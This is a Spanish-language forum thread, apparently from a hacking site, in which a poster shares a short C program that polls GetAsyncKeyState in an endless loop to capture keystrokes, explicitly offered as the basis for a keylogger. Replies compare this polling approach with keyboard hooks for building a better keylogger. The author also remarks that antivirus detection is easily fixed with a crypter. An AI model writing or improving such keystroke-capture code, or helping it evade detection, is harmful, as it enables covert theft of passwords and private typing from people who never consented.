Código: Seleccionar todo

/********************
* Coder: Linkgl     *
* Fecha 12/12/10    *
* Indetectables.net *
* Obtener teclas    *
* Presionadas       *
********************/
#include <stdio.h>
#include <windows.h>

int main()
{
  int i; //contador
  while(1) //inicializamos bucle infinito
  {
    for(i=0;i<255;i++) //contamos todos los caracteres ascii disponibles
    {
      if(GetAsyncKeyState(i)== -32767) //obtenemos el ascii del que esta presionado (-32767)
      {
        // printf("%c",(char)i); Mostramos la tecla en pantalla (opcional) convirtiendola en caracter con (char)
      }
    }
  }
  return 0;
}
Es una forma sencilla sin tener que estar haciendo if's para saber que letra es la A y así, con la api GetAsyncKeyState, faltarían unos if's para exepciones como enter, mayúsculas, etcétera... Pero funciona con las letras normales, ahí tienen la base para un keylogger
//mHmm..
Lindo Code , faltarian los caracteres especiales.....
obey escribió:Pues si tuviese mas edad todavia pero esqe perder la virginidad con tu profesora de informatica y que ademas tenga 50....
Gracias por el code linkgl, pero si no utilizas Hooks en C, el GetAsyncKeyState se come los recursos de la pc, y ademas se pierden muchas teclas (si el usuario es veloz....como yo )
Imagen
osnaraus escribió:Gracias por el code linkgl, pero si no utilizas Hooks en C, el GetAsyncKeyState se come los recursos de la pc, y ademas se pierden muchas teclas (si el usuario es veloz....como yo )
Naa no se consume tanto los recursos anda bien en una de 512 de ram (como si nada), igual y sí consume un poco más que usando hooks, pero xD no se pierde ninguna tecla con la API :) esto te sucederá porque tal vez haces un bucle infinito con sleep o en vb con un timer, pero así constante no se le va ni una ;) la única desventaja que le veo a la API es la detección pero pues nada que un crypter no arregle
//mHmm..
linkgl escribió:Naa no se consume tanto los recursos anda bien en una de 512 de ram (como si nada), igual y sí consume un poco más que usando hooks, pero xD no se pierde ninguna tecla con la API :) esto te sucederá porque tal vez haces un bucle infinito con sleep o en vb con un timer, pero así constante no se le va ni una ;)
Seguramente esté equivocado yo, que soy el inexperto en C
Imagen
Con la api GetAsyncKeyState se hace un pesimo keylogger. Son infinitamente mejor los Hooks.

Para captar por ejemplo solo cuando se pulsa f1, esta bien, pero no para keylogger.

salu2!
Imagen
Linkgayl, te cuento que osnaraus tiene toda la razón, quizás no con velocidad normal se pierden pero te recomiendo que pruebes presionando varias teclas seguidamente y te daras cuenta que se comera una que otra, y tampoco es que el consumo sea excesivo pero si es un poquito alto.

Saludos y gracias por el ejemplo.
En tu ventana
Y en tu ventana, gritas al cielo pero lo dices callada..
Sí osnaraus yo no he dicho que no tienes razón, sí consume más recursos y se pierden teclas si presionas varias a la vez, pero no a como escribe una persona promedio, con hooks es más lío, por eso hago un ejemplo con esta API, el que quiera algo mejor pues que le cueste un poco más, saludos
//mHmm..
se agradece el aporte bro

para que discutir si con hooks es mejor o no, veamos primero lo que se quiera hacer... si es para hacer un keylogger profesional seria recomendable usar hooks, en cambio si nadamas queremos saber que tecla presiona el usuario o si presionó X tecla es recomendable el codigo que nos dejas, recuerden que el algoritmo va de acuerdo a las necesidades del programador, un saludo
Responder

Volver a “Fuentes”